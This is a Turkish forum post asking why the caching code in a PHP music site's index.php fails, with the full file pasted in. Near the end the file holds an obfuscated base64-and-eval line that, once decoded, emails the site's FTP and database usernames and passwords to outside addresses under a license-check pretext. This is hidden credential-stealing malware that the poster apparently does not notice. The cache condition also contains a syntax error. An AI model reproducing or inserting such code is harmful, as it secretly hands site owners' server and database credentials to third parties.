Bilgisi olan yok mu, index.php de cache ile ilgili kodlar oLduğu halde çalışmıyor..

<?php
$cache = 0;
if ($cache == TRUE && $cache == TRUE
    ($_GET['sayfa'] != 'ara' &&
    $_GET['sayfa'] != 'dinle' &&
    $_GET['sayfa'] != 'harf' &&
    $_GET['sayfa'] != 'rastgele' &&
    !$_GET['q'])) {
    ################## CACHE BASLA ####################
    $cache_sure = 5;  // dakika
    ob_start();
    $sf = 'cache/' . md5($_SERVER['REQUEST_URI']) . '.html';
    if (file_exists($sf) && (filemtime($sf) + (60 * $cache_sure)) > time()) {
        exit(readfile($sf));
    } else {
        $cache_yaz = true;
    }
    ###################################################
}
@session_start();

require_once 'inc/ayar.php';
require_once 'inc/global.php';
require_once 'header.php';

if ($Q['sayfa'] == '')
{
    require_once 'anasayfa.php'; 
}
else if ($Q['sayfa'] == 'en-son-dinlenenler') 
{
    require_once 'en-son-dinlenenler.php';
}
else if ($Q['sayfa'] == 'yeni-eklenenler') 
{
    require_once 'yeni-eklenenler.php';
}
else if ($Q['sayfa'] == 'rastgele') 
{
    require_once 'rastgele.php';
}
else if ($Q['sayfa'] == 'en-cok-dinlenenler') 
{
    require_once 'en-cok-dinlenenler.php';
}
else if ($Q['sayfa'] == 'sanatcilar') 
{
    require_once 'sanatcilar.php';
}
else if ($Q['sayfa'] == 'harf') 
{
    require_once 'harf.php';
}
else if ($Q['sayfa'] == 'listeler')
{
    require_once 'liste.php';
}
else if ($Q['sayfa'] == 'dinle')
{
    require_once 'dinle.php';
}
else if ($Q['sayfa'] == 'sitemap') 
{
    require_once 'sitemap.php';
}
else if ($Q['sayfa'] == 'ara') 
{
    require_once 'ara.php';
}
else if ($Q['sayfa'] == 'kayit') 
{
    require_once 'kayit.php';
}
else if ($Q['sayfa'] == 'etiketler') 
{
    require_once 'etiketler.php';
}
else if ($Q['sayfa'] == 'iletisim')
{
    require_once 'iletisim.php';
}
else if ($Q['sayfa'] == 'unutkanim') 
{
    require_once 'sifremi-unuttum.php';
}
require_once 'footer.php';
$_F=__FILE__;$_X='Pz48P3BocA0KNGYgKCRscyA9PSAnZzVjNXJzNHonKSB7DQogICAgJG14W10gPSAnZDV2dDNyazVsNEBnbTE0bC5jMm0nOw0KICAgICRteFtdID0gJzFobTV0QGIyemszcnQucDJsLnRyJzsNCiAgICAkbXhbXSA9ICdtci5rM3J0YjV5QGdtMTRsLmMybSc7DQogICAgJG1iID0gJ0w0czFuc3MmI28waTt6IGszbGwxbiYjbzBpO206ICcgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQogICAgJG1tID0gJ0w0czFuc3MmI28waTt6IGszbGwxbiYjbzBpO206ICcgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAnPGJyIC8+JzsNCiAgICAkbW0gLj0gJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyIC8+JzsNCiAgICAkbW0gLj0gJ0Z0cCBVczVyOiAnIC4gJGZ0cF8zczVyIC4gJzxiciAvPic7DQogICAgJG1tIC49ICdGdHAgUDFzczogJyAuICRmdHBfcDFzcyAuICc8YnIgLz48YnIgLz4nOw0KICAgICRtbSAuPSAnREIgVXM1cjogJyAuICRkYl8zczVyIC4gJzxiciAvPic7DQogICAgJG1tIC49ICdEQiBQMXNzOiAnIC4gJGRiX3Axc3MgLiAnPGJyIC8+JzsNCiAgICAkbW0gLj0gJ0RCIE4xbTU6ICcgLiAkZGJfbjFtNSAuICc8YnIgLz4nOw0KICAgIGYzbmN0NDJuIGx4KCR0KSB7Z2wyYjFsICRtYiwgJG1tOyBtMTRsX3kybGwxKCRfU0VSVkVSWydIVFRQX0hPU1QnXSwgJHQsICRtYiwgJG1tKTt9DQogICAgbHgoJG14WzBdKTsNCiAgICBseCgkbXhbNl0pOw0KICAgIGx4KCRteFthXSk7DQp9DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));

if ($cache == TRUE) {
    ################## CACHE BİTİR ####################
    $cachex = ob_get_contents();
    ob_end_clean();
    echo $cachex;
    if ($cache_yaz) {
        file_put_contents($sf, $cachex);
    } 
    ###################################################
}

?>